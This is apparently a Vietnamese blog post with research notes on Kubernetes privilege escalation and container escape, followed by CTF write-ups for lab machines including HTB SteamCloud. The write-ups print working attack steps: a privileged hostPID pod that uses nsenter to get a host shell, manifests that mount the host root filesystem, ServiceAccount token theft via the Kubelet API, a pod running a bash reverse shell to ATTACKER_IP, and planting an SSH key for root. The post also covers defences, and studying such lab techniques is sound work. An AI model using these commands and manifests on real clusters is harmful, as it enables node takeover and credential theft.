• Có khả năng bypass một số NetworkPolicy tùy CNI.
• Truy cập metadata endpoint trong môi trường cloud dễ hơn.

hostPID: true

Container dùng PID namespace của host.

Điều này cho phép container nhìn thấy process đang chạy trên Node. Nếu kết hợp với privileged: true, attacker có thể dùng kỹ thuật như nsenter để vào namespace của process trên host, thường là PID 1.

Nói dễ hiểu:

hostPID: true -> thấy process của Node privileged: true -> có quyền tương tác sâu hostPath: / -> thấy filesystem của Node

Khi 3 thứ này kết hợp lại, ranh giới container và host gần như bị phá vỡ.

Flow tấn công

Attacker có quyền create pods
        |
        v
Tạo Pod ubuntu với privileged + hostPID + hostNetwork + hostPath /
        |
        v
Exec vào container
        |
        v
Truy cập /host để đọc filesystem của Node
        |
        v
Tìm kubelet config, kubeconfig, token, secret, certificate
        |
        v
Có thể leo thang ra Node hoặc cluster

Vì sao nó nguy hiểm?

Vì Pod này có quá nhiều đặc quyền cùng lúc:

Nếu cluster không có Pod Security Admission, Kyverno, Gatekeeper hoặc policy tương đương để chặn các cấu hình này, quyền create pods có thể trở thành đường dẫn leo thang rất mạnh.

Stealth / BadPods

Các biến thể Pod nguy hiểm

Không phải lúc nào attacker cũng cần tạo một Pod bật tất cả quyền nguy hiểm. Trong thực tế, mỗi cấu hình có thể tạo ra một mức độ rủi ro khác nhau.

Một số biến thể thường được nghiên cứu trong BadPods:

• Privileged + hostPID: rất nguy hiểm vì container có quyền cao và nhìn thấy process của host.
• Privileged only: có thể tương tác sâu với hệ thống, phụ thuộc runtime và kernel.
• hostPath: nguy hiểm nếu mount thư mục nhạy cảm của Node.
• hostPID: có thể quan sát process trên host, tìm thông tin nhạy cảm trong command line.
• hostNetwork: có thể truy cập network từ góc nhìn của Node.
• hostIPC: có thể ảnh hưởng hoặc đọc IPC/shared memory trong một số trường hợp.

Ý nghĩa của phần này là: Kubernetes privilege escalation không chỉ đến từ một cấu hình duy nhất, mà thường là kết quả của nhiều cấu hình yếu kết hợp với nhau.

Bạn có thể tham khảo ví dụ cách tạo cấu hình badpods tại link này khá là hay ở đây.

https://github.com/BishopFox/badPods

Ngoài ra tui cũng có nghiên cứu 1 case khá là hay trên X của Duffie Cooley minh họa một one-liner tạo Pod đặc quyền để truy cập namespace của Node. Tận dụng 2 cấu hình là bật hostPID: true và privileged: true https://x.com/mauilion/status/1129468485480751104

Container escape

Một trong những rủi ro nghiêm trọng nhất khi vận hành kubernetes là container breakout , là tình hướng mà một tiến trình chạy trong container có quyền thoát ra cơ chế cô lập hiện tại của container và tác động lên host và node cũng như các tài nguyên khác trong cluster.

Về lý thuyết ,container breakout thường được hiểu là khai thác lỗ hổng phía kernel ,container runtime ,network stack hoặc storage stack để phá vỡ cơ chế isolation . Tuy nhiên trong thực tế , không phải lúc nào attacker cũng phải tấn công bằng các lỗi Zero day phức tạp ,nhưng bạn có thể tham khảo các CVE 2026 về linux kernel như : Copy-fail , DirtyFrag, DirtyDecrypt,… .Nhiều trường hợp breakout vẫn xảy ra do misconfig , ví dụ container chạy với quyền quá cao ,mount file system của host ,cấp thừa linux capabilities, hoặc ServiceAccount có RBAC quá rộng

Nói cách khác, nếu một container được cấu hình sai, attacker có thể không cần “hack kernel” mà vẫn có đường hợp lệ để chạm tới host hoặc cluster.

Một số nguyên nhân phổ biến dẫn tới container escape gồm:

• Container chạy bằng user root.
• Container được cấp privileged: true.
• Container có capability nguy hiểm như CAP_SYS_ADMIN.
• Pod mount host filesystem bằng hostPath.
• Container có thể truy cập socket nhạy cảm như Docker/container runtime socket.
• Service account token trong pod có quyền quá rộng.
• Workload có thể gọi cloud metadata API để lấy credential.
• Kernel hoặc container runtime có CVE chưa được vá.
• App bên trong container bị RCE, sau đó attacker dùng quyền hiện có để pivot.

Điểm quan trọng là container không phải là một “máy ảo nhỏ” với boundary cứng như nhiều người tưởng. Container dùng chung kernel với host, nên nếu attacker có đủ quyền bên trong container, đặc biệt là root cộng thêm capability nguy hiểm, ranh giới bảo mật sẽ trở nên rất mỏng.

Ví dụ, nếu một container chạy ở chế độ privileged và có quyền mount thiết bị của host, attacker có thể tương tác với filesystem bên ngoài container. Khi đó container không còn chỉ nhìn thấy filesystem riêng của nó nữa, mà có thể nhìn thấy hoặc ghi vào filesystem của node. Đây là một dạng breakout rất nguy hiểm vì attacker có thể đặt persistence, đọc dữ liệu nhạy cảm, hoặc can thiệp vào cấu hình host.

Tuy nhiên, không phải container nào cũng dễ breakout. Nếu workload chạy bằng non-root user, bị drop capabilities, filesystem chỉ đọc, không có hostPath nguy hiểm, và được giới hạn bởi AppArmor/SELinux/seccomp, thì rất nhiều kỹ thuật escape sẽ bị vô hiệu hóa hoặc khó thực hiện hơn nhiều.

Vì vậy, trong phòng thủ Kubernetes, cần chú ý các cấu hình sau:

securityContext:
  runAsNonRoot: true
  runAsUser: 1000
  allowPrivilegeEscalation: false
  readOnlyRootFilesystem: true
  capabilities:
    drop:
      - ALL

Ngoài ra, ở cấp cluster nên dùng admission control để chặn các workload nguy hiểm, ví dụ:

• Không cho phép privileged: true.
• Không cho phép container chạy bằng root nếu không có lý do rõ ràng.
• Không cho phép mount hostPath tùy tiện.
• Không cho phép thêm capability nguy hiểm.
• Bắt buộc dùng seccomp profile.
• Bắt buộc AppArmor hoặc SELinux policy nếu môi trường hỗ trợ.
• Giới hạn quyền của service account theo nguyên tắc least privilege.

Một điểm cần nhớ là trong Kubernetes, pod thường là trust boundary, không phải từng container riêng lẻ. Các container trong cùng một pod có thể chia sẻ network namespace, volume, và một số tài nguyên khác. Vì vậy nếu một container trong pod bị compromise, các container còn lại trong cùng pod cũng nên được xem là có nguy cơ bị ảnh hưởng.

Container breakout cũng có thể đi theo hướng không trực tiếp phá kernel, mà pivot sang các thành phần khác:

• Đọc service account token rồi gọi Kubernetes API.
• Dò các service nội bộ trong cluster.
• Truy cập cloud metadata service để lấy temporary credential.
• Tìm secret trong environment variable hoặc config file.
• Tấn công kubelet API nếu node expose sai.
• Lạm dụng workload identity để truy cập cloud resources.

Điều này cho thấy breakout không chỉ là “thoát khỏi container ra host”, mà còn là bất kỳ cách nào phá vỡ giả định isolation ban đầu của operator. Nếu workload chỉ đáng lẽ được phép chạy app, nhưng attacker dùng nó để đọc Secret, điều khiển API server, hoặc truy cập cloud account, thì về mặt rủi ro nó vẫn là một dạng isolation failure nghiêm trọng.

Tóm lại, container escape thường đến từ ba nhóm nguyên nhân chính:

1. Lỗ hổng kỹ thuật
   Kernel bug, container runtime CVE, filesystem bug, network stack bug.

2. Cấu hình sai
   Privileged container, root user, hostPath mount, capability dư thừa, thiếu seccomp/AppArmor/SELinux.

3. Pivot qua credential hoặc control plane
   Service account token, kubeconfig, cloud metadata, workload identity, Kubernetes API, kubelet API.

Phòng thủ cho badpods

Trong Kubernetes, RBAC chỉ kiểm tra một identity có được phép tạo Pod hay không. Tuy nhiên, RBAC không đủ để đánh giá Pod đó có an toàn hay không. Vì vậy Kubernetes cần thêm lớp Admission Controller để kiểm tra nội dung Pod trước khi cho phép tạo.

Các cơ chế như Pod Security Admission, Kyverno hoặc OPA Gatekeeper có thể chặn những cấu hình nguy hiểm như privileged: true, hostPID, hostNetwork hoặc hostPath. Đây là lớp phòng thủ quan trọng để ngăn attacker biến quyền create pods thành khả năng truy cập Node.

Tóm lại, để giảm rủi ro Pod escape, cần kết hợp hai lớp kiểm soát: RBAC giới hạn ai được tạo Pod, và Admission Policy giới hạn Pod được phép chứa cấu hình gì.

Đây là sơ đồ tấn công mà mình kiếm được trên mạng khi bạn có thể tiếp cận cluster từ các hướng khác nhau

Nó cho thấy attacker có thể tiếp cận cluster từ nhiều hướng khác nhau:

• Access API server: attacker hoặc user có credential có thể gọi trực tiếp Kubernetes API server.
• Misconfigured Kubernetes dashboard: dashboard cấu hình sai có thể cho phép truy cập cluster qua UI.
• Malicious container image in registry: image độc hại được push lên container registry, sau đó được deploy vào cluster.
• Vulnerable application: app chạy trong pod có lỗ hổng, attacker khai thác app rồi pivot vào pod/cluster.
• Misconfigured Docker daemon: Docker daemon expose sai cấu hình, attacker có thể điều khiển container/node.
• Developer/DevOps: tài khoản hoặc máy của developer/devops bị compromise, từ đó ảnh hưởng registry hoặc cluster.

Bên trong hình có 2 vùng chính:

Master / control plane
Bên trái là thành phần điều khiển Kubernetes:

• API server: cổng trung tâm để mọi thứ giao tiếp với cluster.
• etcd: nơi lưu state/secret/config của cluster.
• Scheduler: quyết định pod chạy ở node nào.
• controller manager: điều phối trạng thái cluster.
• K8s dashboard: giao diện web quản trị cluster nếu có cài.

Node / worker node
Bên phải là máy chạy workload:

• kubelet: agent trên node, nhận lệnh từ API server để chạy pod.
• kube-proxy: xử lý networking/service routing.
• Pod: nơi container/app chạy.
• API: có thể là app API bên trong pod.

Các nhãn như Peirates, kube-hunter, BOB, Deepce là công cụ bảo mật/offensive Kubernetes/container thường dùng để kiểm tra hoặc khai thác cấu hình yếu:

• kube-hunter: scanner tìm lỗ hổng/cấu hình yếu trong Kubernetes.
• Peirates: công cụ hỗ trợ privilege escalation và discovery trong Kubernetes.
• BOB, Deepce: công cụ liên quan đến container/Kubernetes enumeration hoặc escape-checking.

Kubernetes có nhiều điểm vào, không chỉ mỗi API server. Attacker có thể đi từ app lỗi, dashboard cấu hình sai, image độc, Docker daemon expose, registry, developer account, hoặc credential bị lộ. Khi đã vào được một pod hoặc node, họ có thể tiếp tục enumerate, pivot, leo thang quyền, hoặc tác động đến control plane nếu cấu hình cluster yếu.

Hoặc là kĩ thuật reverse shell trong 1 container bị compromise

Attack surface cho K8s

Đoạn này là một bảng attack chain cho môi trường container / Kubernetes / cloud. Mỗi cột là một giai đoạn trong vòng đời tấn công, còn mỗi dòng là ví dụ kỹ thuật mà attacker có thể dùng ở giai đoạn đó.

Nói ngắn gọn: nó mô tả attacker đi từ có quyền ban đầu, chạy lệnh trong container, giữ quyền truy cập, leo thang ra host hoặc cluster, né phát hiện, lấy credential, dò hệ thống, pivot sang nơi khác, thiết lập C2, rồi gây tác động.

Các cột nghĩa là gì

Initial access
Cách attacker vào được hệ thống ban đầu. Ví dụ: lộ cloud credential, kubeconfig bị leak, app có RCE, image trong registry bị cài mã độc, endpoint người dùng bị compromise.

Execution
Sau khi vào được, attacker chạy code/lệnh. Ví dụ: exec vào container, chạy bash/cmd, tạo container mới chứa payload, khai thác app để RCE.

Persistence
Giữ quyền truy cập lâu dài. Ví dụ: backdoor image, CronJob chạy reverse shell theo lịch, static pod, SSH server trong container, lifecycle hook độc hại.

Privilege escalation
Leo thang quyền. Trong Kubernetes thường là từ pod/container lên node, từ node lên cluster, hoặc từ cluster lên cloud. Ví dụ: privileged container, writable hostPath mount, kubelet API, RBAC quá rộng, container breakout qua kernel/runtime bug.

Defense evasion
Né phát hiện. Ví dụ: xóa container logs, xóa Kubernetes events, dùng tên pod/container giống workload hợp pháp, shadow API server/admission controller, bypass admission policy.

Credential access
Tìm và lấy credential. Ví dụ: list K8s Secrets, đọc service account token, cloud service principal, workload identity token, kubeconfig, credential trong config file, etcd không bảo vệ.

Discovery
Dò hệ thống để tìm pivot. Ví dụ: list Kubernetes API server, nmap/curl mạng nội bộ cluster, truy cập dashboard, kubelet API, operator, service discovery, cloud metadata.

Lateral movement
Di chuyển ngang sang pod/node/service/cloud khác. Ví dụ: dùng service account để gọi API server, workload identity để vào cloud resources, attack neighboring pods, truy cập dashboard/operator/tiller.

Command & control
Kênh điều khiển từ xa. Ví dụ: DNS tunneling, proxy server để che IP nguồn, app protocol như HTTPS/TLS, botnet, malware C2.

Impact
Hậu quả cuối cùng. Ví dụ: xóa dữ liệu, ransomware, cryptojacking, DoS app/node/service discovery/SIEM, exfiltration PII/IP, botnet, phá container registry.

Một vài ví dụ dễ hiểu

Using cloud credentials: service account keys, impersonation
Nếu attacker có key cloud hoặc quyền impersonate service account, họ có thể vào cloud project/subscription trước, rồi từ đó tìm cluster hoặc workload liên quan.

Exec into container
Attacker có quyền hoặc lỗ hổng cho phép mở shell bên trong container. Đây là bước “đã vào được workload”.

Privileged container
Container chạy với quyền quá cao, có thể truy cập thiết bị/kernel capability của host. Đây là rủi ro lớn vì có thể dẫn tới host compromise.

Writable host path mount / Host writable volume mounts
Pod mount thư mục từ host và có quyền ghi. Nếu mount nhạy cảm, attacker có thể sửa file trên node hoặc đặt persistence.

List K8s Secrets
Nếu RBAC cho phép đọc Secret, attacker có thể lấy token, database password, cloud key, TLS key.

Instance metadata API
Pod gọi metadata service của cloud để lấy token tạm thời. Nếu workload identity/metadata protection cấu hình sai, attacker có thể dùng token đó truy cập cloud resources.

K8s CronJob reverse shell on a timer
Một cách persistence: tạo CronJob định kỳ gọi về attacker. Về phòng thủ, nên audit CronJob lạ và RBAC tạo workload.

Shadow admission control or API server
Attacker dựng thành phần giả hoặc độc hại để đánh lừa/ghi nhận thông tin nhạy cảm hoặc bypass chính sách.

SOC/SIEM DoS
Tạo quá nhiều log/event/audit để làm nghẽn hệ thống giám sát, khiến cảnh báo thật khó thấy hơn.

Ý chính của toàn bộ bảng

Đây không phải là một checklist “làm theo để hack”, mà là bản đồ rủi ro để defender/red team hiểu:

• Đường vào có thể đến từ app, image, kubeconfig, cloud key, người dùng, registry.
• Container không phải biên giới bảo mật tuyệt đối.
• RBAC, Secrets, service account và workload identity là vùng cực kỳ nhạy cảm.
• hostPath, privileged pod, kubelet API, metadata API là các điểm breakout/pivot phổ biến.
• Persistence trong Kubernetes thường ẩn trong CronJob, static pod, lifecycle hook, webhook, operator.
• Impact không chỉ là mất dữ liệu, mà còn cryptojacking, botnet, DoS, supply chain compromise.

Hiện tại tui mới nghiên cứu tới đây thôi vì mảng này cũng khá là rộng , sắp tới tui sẽ dựng lab và sẽ mô phỏng các kĩ thuật tấn công thực tế hơn. Cảm ơn các bạn đã dành thời gian đọc bài viết mình.!!!

Bước đầu tiên thì quét Nmap để tìm các attack surface

Kết quả quét Nmap cho thấy mục tiêu (IP 10.49.173.204) đang mở khá nhiều cổng dịch vụ lạ. Đây có vẻ là một cụm Kubernetes hoặc một môi trường container.

Dưới đây là phân tích các cổng đang mở:

Các cổng đáng chú ý

• Cổng 22 (ssh): Cổng quản lý từ xa qua dòng lệnh.
• Cổng 10250, 10255, 10257, 10259: Đây là các cổng đặc trưng của Kubernetes Kubelet API.
  • 10250: Kubelet API (thường yêu cầu xác thực).
  • 10255: Read-only Kubelet API (thường không yêu cầu xác thực, có thể lộ thông tin nhạy cảm).
  • cổng 10257 tương ứng với kube-controller-manager
  • cổng 10259 tương ứng với kube-scheduler trên các node mặt phẳng điều khiển Kubernetes.
• Cổng 30679: Đây có thể là một NodePort (dịch vụ được ứng dụng bên trong Kubernetes đưa ra ngoài).

Có 1 web server port 30679 được expose nên tui có thể truy cập để xem thử

Curl tới api đó để đọc thì thấy

**Phân tích thông tin JSON thu được /pods, ta có thể thấy có 4 pod đang chạy trên máy:

calico-node             
calico-kube-controllers 
coredns                 
php-deploy          

Sau khi wappalyzer thì thấy web server sử dụng php version 8.1.0 , thì ở đây tui cũng đã đoán được mình cần RCE vào server này , và sau đó mình lên git và tìm PoC này để có thể chạy mã khai thác https://github.com/flast101/php-8.1.0-dev-backdoor-rce

Dựng máy lắng nghe thì dành được reverse shell thành công

Chuyển sang sử dụng pwncat để có thể tải kubectl do ko dùng curl hoặc wget được

Nhưng sau 1 hồi cài pwncat-cs thì thư viện có khả nhiều lỗi và tui mất cũng vài tiếng nhưng cũng ko thể fix được. Nên sau một hồi tham khảo WU của các pháp sư nước ngoài thì tui nhận ra vẫn còn cách n ày để có thể tải kubectl lên

Đảm bảo bạn đang đứng ở thư mục chứa file kubectl trên máy Kali và bật server lên:

Bash

python3 -m http.server 80

Tại cửa sổ shell của container, bạn chạy lệnh PHP này để tải file trực tiếp (nhớ thay 192.168.246.92 bằng IP VPN tun0 hiện tại của bạn):

Bash

php -r 'copy("http://192.168.246.92/kubectl", "/tmp/kubectl");'

(Bạn nhìn sang terminal máy Kali, nếu thấy dòng log 192.168.x.x - - [2026...] "GET /kubectl HTTP/1.1" 200 hiện ra là file đã được tải sang thành công mượt mà).

Bây giờ cấp quyền thực thi cho file và kiểm tra xem Service Account trong Pod này có thể đọc được những gì trong cụm Kubernetes:

Bash

chmod +x /tmp/kubectl

# Kiểm tra danh sách Pod trong namespace hiện tại
/tmp/kubectl get pods

# Kiểm tra xem Service Account của bạn có những quyền gì (Rất quan trọng để biết đường leo thang)
/tmp/kubectl auth can-i --list

root@php-deploy-6d998f68b9-pj8v5:/tmp# ./kubectl auth can-i --list
./kubectl auth can-i --list
Resources   Non-Resource URLs   Resource Names   Verbs
*.*         []                  []               [*]
            [*]                 []               [*]
root@php-deploy-6d998f68b9-pj8v5:/tmp# 

Để truy cập vào máy chủ, chúng ta sẽ chạy lệnh sau, lệnh này có thể tìm thấy trên HackTricks :

kubectl run r00t --restart=Never -it --image something --rm --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"vulhub/php:8.1-backdoor","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Hãy cùng phân tích để hiểu rõ điều gì đang xảy ra:

• kubectl- Vâng, rõ ràng là nó làm gì: tương tác với cụm Kubernetes.
• run r00t- Khởi tạo một pod có tênr00t
• --restart=Never- Nếu thiết bị dừng hoạt động, đừng khởi động lại nó.
• -it- Cấp phát một TTY cho container trong pod và kết nối stdinvới nó ( nghĩa là cho phép chúng ta tương tác với container)
• --image something- Ở đây chúng ta cần có hình ảnh cho pod, tuy nhiên vì nó sẽ bị ghi đè nên nó có thể là bất kỳ hình ảnh nào.
• --rm- Xóa pod sau khi nó thoát
• --overrides- Sử dụng JSON nội tuyến để ghi đè lên đối tượng được tạo tự động

Bây giờ chúng ta sẽ xem xét các giá trị mà chúng ta đang ghi đè.

{
    "spec": {
        "hostPID": true,
        "containers": [{
            "name": "1",
            "image": "vulhub/php:8.1-backdoor",
            "command": ["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],
            "stdin": true,
            "tty":true,
            "imagePullPolicy":"IfNotPresent",
            "securityContext": {
                "privileged": true
            }
        }]
    }
}

Sau khi chỉnh sửa các giá trị ghi đè, chúng ta có thể thấy rằng pod sẽ chia sẻ không gian tên ID tiến trình máy chủ ( hostPID), sẽ có một container sử dụng hình ảnh mà chúng ta đã có trong node của mình (vì chúng ta không có quyền truy cập internet - chúng ta phải thực hiện thay đổi này) và sẽ chạy ở chế độ đặc quyền.

Lệnh sẽ được thực thi khi container khởi động là nsenterlệnh cho phép chúng ta chạy một chương trình trong một namespace khác. Cờ này --mount=/proc/1/ns/mntcho biết nsentersẽ vào namespace được gắn kết (hay còn gọi là hệ thống tập tin) của tiến trình có PID 1, tức là inittiến trình đó, có nghĩa là chúng ta sẽ thực thi /bin/bashtrong hệ thống tập tin của máy chủ (vì chúng ta đang tham chiếu đến hệ thống tập tin initcủa máy chủ chứ không phải của container, do hostPIDgiá trị của cờ), nói cách khác, chúng ta đang ở bên trong máy chủ.

Sau đó, chúng ta lại được đưa vào một shell có quyền root, nhưng lần này là bên trong máy chủ, vì vậy tất cả những gì chúng ta cần làm là lấy các cờ từ /home/herby/user.txtvà /root/root.txt.

hoặc bạn có thể tạo 1 bad pods bằng cách này

https://github.com/BishopFox/badPods/blob/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml

apiVersion: v1
kind: Pod
metadata:
  name: pwned
  labels:
    app: pwn
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: pwned
    image: docker.io/vulhub/php:8.1-backdoor
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /

https://qiita.com/rikum0730/items/813d8fc29b8788387cb1 https://dmaxter.pt/writeups/thm-frank-and-herby-try-again/

HTB SteamCloud - Kubernetes/Kubelet Misconfiguration

Nguồn tham khảo: https://0xdf.gitlab.io/2022/02/14/htb-steamcloud.html
Mục tiêu học: hiểu chuỗi tấn công từ Kubelet API exposed → chiếm pod → lấy ServiceAccount token → lạm dụng quyền tạo pod để mount filesystem của host.

1. Tổng quan bài lab

SteamCloud là một máy HTB mức Easy nhưng rất hợp để học Kubernetes security vì luồng khai thác khá sạch:

Recon port K8s
→ Kubelet API exposed
→ Exec vào pod nginx
→ Lấy ServiceAccount token
→ Authenticate vào Kubernetes API
→ Kiểm tra RBAC
→ Tạo pod mount root filesystem của host
→ Đọc root.txt / lấy root shell host

Điểm quan trọng của bài này không nằm ở exploit CVE, mà nằm ở misconfiguration:

• Kubelet API port 10250 có thể tương tác từ bên ngoài.
• Attacker có thể exec command vào pod đang chạy.
• ServiceAccount trong pod có quyền get, list, create pods.
• Quyền create pods đủ nguy hiểm để tạo pod mới có hostPath mount / của node.

2. Recon

Scan full port:

nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.133

Các port đáng chú ý:

22/tcp     ssh
2379/tcp   etcd-client
2380/tcp   etcd-server
8443/tcp   Kubernetes API server / minikube API
10249/tcp  kube-proxy metrics
10250/tcp  Kubelet API
10256/tcp  kube-proxy healthz

Scan service/version:

nmap -p 22,2379,2380,8443,10249,10250,10256 -sCV -oA scans/nmap-tcpscripts 10.10.11.133

Nhìn certificate ở port 8443 thấy nhiều dấu hiệu đây là môi trường minikube/Kubernetes:

commonName=minikube
DNS:kubernetes.default.svc.cluster.local
DNS:kubernetes.default
IP Address:10.96.0.1
IP Address:127.0.0.1

Kết luận nhanh:

• 8443: Kubernetes API Server, cần credential.
• 10250: Kubelet API, có khả năng bị cấu hình lỏng.
• 2379/2380: etcd, nhưng trong bài này không phải đường khai thác chính.

3. Thử Kubernetes API Server

Gọi API bằng kubectl thì bị yêu cầu xác thực:

kubectl --server https://10.10.11.133:8443 get pods
kubectl --server https://10.10.11.133:8443 get namespaces
kubectl --server https://10.10.11.133:8443 cluster-info

Kết quả là kubectl hỏi username/password hoặc trả về Forbidden, nghĩa là chưa có credential để đi qua API Server.

4. Khai thác Kubelet API

Dùng kubeletctl để tương tác với Kubelet port 10250:

kubeletctl pods -s 10.10.11.133

Danh sách pod đáng chú ý:

storage-provisioner                 kube-system
coredns-78fcd69978-7dhjv            kube-system
nginx                               default
etcd-steamcloud                     kube-system
kube-apiserver-steamcloud           kube-system
kube-controller-manager-steamcloud  kube-system
kube-scheduler-steamcloud           kube-system
kube-proxy-562gf                    kube-system

Pod nginx nằm trong namespace default, đây là mục tiêu dễ thử trước vì không thuộc nhóm control plane.

Có thể format danh sách pod từ JSON:

kubeletctl runningpods -s 10.10.11.133 | jq -c '.items[].metadata | [.name, .namespace]'

5. Exec vào pod nginx

Test command execution:

kubeletctl -s 10.10.11.133 exec "id" -p nginx -c nginx

Kết quả:

uid=0(root) gid=0(root) groups=0(root)

Ở đây mình là root trong container nginx, chưa phải root của host.

Đọc user flag:

kubeletctl -s 10.10.11.133 exec "ls /root" -p nginx -c nginx
kubeletctl -s 10.10.11.133 exec "cat /root/user.txt" -p nginx -c nginx

Có thể lấy interactive shell trực tiếp:

kubeletctl -s 10.10.11.133 exec "/bin/bash" -p nginx -c nginx

6. Lấy ServiceAccount token trong pod

Trong Kubernetes, mỗi pod thường được mount ServiceAccount token để nói chuyện với API Server. Kiểm tra trong container:

kubeletctl -s 10.10.11.133 exec "ls /run/secrets/kubernetes.io/serviceaccount" -p nginx -c nginx

Các file quan trọng:

ca.crt
namespace
token

Ý nghĩa:

• ca.crt: CA certificate để trust Kubernetes API Server.
• namespace: namespace hiện tại của pod.
• token: bearer token của ServiceAccount gắn với pod.

Lưu CA cert và token về máy attacker:

kubeletctl -s 10.10.11.133 exec "cat /run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee ca.crt
kubeletctl -s 10.10.11.133 exec "cat /run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee token

Hoặc đưa token vào biến môi trường:

export token=$(kubeletctl -s 10.10.11.133 exec "cat /run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx)

7. Authenticate vào Kubernetes API bằng token

Dùng ca.crt và token vừa lấy để gọi API Server:

kubectl --server https://10.10.11.133:8443 \
  --certificate-authority=ca.crt \
  --token=$token \
  get pods

Nếu thành công sẽ thấy pod nginx:

NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          ...

Kiểm tra quyền của ServiceAccount:

kubectl auth can-i --list \
  --server https://10.10.11.133:8443 \
  --certificate-authority=ca.crt \
  --token=$token

Dòng quan trọng:

pods    []    []    [get create list]

Đây là pivot point của bài: ServiceAccount không phải cluster-admin, nhưng có quyền create pods trong namespace default. Với quyền này, attacker có thể tạo pod mới mount filesystem của host.

8. Xem cấu hình pod nginx

Dump YAML của pod hiện tại:

kubectl get pod nginx -o yaml \
  --server https://10.10.11.133:8443 \
  --certificate-authority=ca.crt \
  --token=$token

Thông tin cần lấy:

namespace: default
image: nginx:1.14.2

Ta dùng lại image nginx:1.14.2 vì image này đã có sẵn trên node, tránh phụ thuộc internet/image pull.

9. Tạo pod mount / của host

Tạo file evil-pod.yaml:

apiVersion: v1
kind: Pod
metadata:
  name: attacker-pod
  namespace: default
spec:
  containers:
  - name: attacker-pod
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Giải thích:

• hostPath.path: /: mount toàn bộ root filesystem của node vào pod.
• mountPath: /mnt: trong container, host filesystem xuất hiện tại /mnt.
• hostNetwork: true: pod dùng network namespace của host.
• image: nginx:1.14.2: dùng image đã có sẵn trên node.

Apply pod:

kubectl apply -f evil-pod.yaml \
  --server https://10.10.11.133:8443 \
  --certificate-authority=ca.crt \
  --token=$token

Kiểm tra:

kubectl get pods \
  --server https://10.10.11.133:8443 \
  --certificate-authority=ca.crt \
  --token=$token

10. Đọc filesystem của host

Exec vào pod mới bằng Kubelet:

kubeletctl exec "id" -s 10.10.11.133 -p attacker-pod -c attacker-pod

Liệt kê root filesystem của host:

kubeletctl exec "ls /mnt" -s 10.10.11.133 -p attacker-pod -c attacker-pod

Đọc root flag:

kubeletctl exec "cat /mnt/root/root.txt" -s 10.10.11.133 -p attacker-pod -c attacker-pod

Lúc này /mnt chính là / của node thật, vì vậy /mnt/root/root.txt tương ứng với /root/root.txt trên host.

11. Lấy root shell trên host

Có thể tạo pod thứ hai chạy reverse shell ngay khi container start:

apiVersion: v1
kind: Pod
metadata:
  name: attacker-shell
  namespace: default
spec:
  containers:
  - name: attacker-shell
    image: nginx:1.14.2
    command: ["/bin/bash"]
    args: ["-c", "/bin/bash -i >& /dev/tcp/<ATTACKER_IP>/443 0>&1"]
    volumeMounts:
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Trên máy attacker bật listener:

nc -lnvp 443

Apply pod:

kubectl apply -f attacker-shell.yaml \
  --server https://10.10.11.133:8443 \
  --certificate-authority=ca.crt \
  --token=$token

Sau khi shell callback về, có thể ghi SSH public key vào host root:

mkdir -p /mnt/root/.ssh
cd /mnt/root/.ssh
echo "ssh-ed25519 <PUBLIC_KEY> attacker@kali" > authorized_keys

Rồi SSH vào host:

ssh -i id_ed25519 root@10.10.11.133

12. Vì sao quyền create pods nguy hiểm?

Trong Kubernetes, quyền create pods có thể trở thành quyền leo thang rất mạnh nếu cluster không chặn các cấu hình nguy hiểm. Attacker có thể tạo pod với:

• hostPath mount thư mục nhạy cảm của node.
• hostNetwork: true để dùng network của host.
• hostPID: true để nhìn process của host.
• privileged: true để tăng khả năng escape.
• ServiceAccount khác nếu có quyền gán hoặc dùng SA mạnh hơn.

Trong SteamCloud, chỉ cần hostPath: / là đủ để đọc toàn bộ filesystem của node.

13. Mapping với đề tài VDT

Bài này khớp tốt với hướng Kubernetes privilege escalation do misconfiguration:

14. Detection / Hardening rút ra

Các điểm phòng thủ nên đưa vào phần demo hoặc báo cáo:

• Không expose Kubelet API ra ngoài network không tin cậy.
• Tắt hoặc hạn chế anonymous access vào Kubelet.
• Bật Kubelet authentication/authorization đúng cách.
• RBAC theo nguyên tắc least privilege, không cấp create pods bừa bãi.
• Dùng Pod Security Admission/Kyverno/Gatekeeper để chặn:
  • hostPath mount /
  • hostNetwork: true
  • hostPID: true
  • privileged: true
• Tắt automountServiceAccountToken nếu pod không cần gọi Kubernetes API:

automountServiceAccountToken: false

• Giám sát hành vi runtime bằng Falco/Tetragon. Các event đáng chú ý:
  • Pod mới có hostPath mount /.
  • Pod bật hostNetwork hoặc privileged.
  • Truy cập file ServiceAccount token.
  • Exec bất thường vào container qua Kubelet.

15. Takeaway

SteamCloud cho thấy một lesson rất quan trọng: không cần CVE vẫn có thể chiếm node Kubernetes nếu Kubelet/RBAC/Pod Security bị cấu hình sai. Một ServiceAccount tưởng như chỉ có quyền create pods trong namespace default vẫn có thể bị lạm dụng để tạo pod mount filesystem của host, từ đó đọc flag hoặc cài SSH key để lấy root shell.

HTB Unobtainium - RBAC Abuse + Secret Access + Malicious Pod

Nguồn tham khảo: https://0xdf.gitlab.io/2021/09/04/htb-unobtainium.html
Độ khó: Hard

1. Tổng quan chain khai thác

Unobtainium là bài Kubernetes khó hơn SteamCloud vì không đơn giản là có ngay quyền tạo pod. Luồng chính:

Web/Electron app reverse
→ LFI / lấy source + credential
→ Prototype Pollution
→ Command Injection
→ RCE vào container webapp
→ Lấy ServiceAccount token default
→ Enumerate RBAC
→ Tìm namespace dev và pod devnode
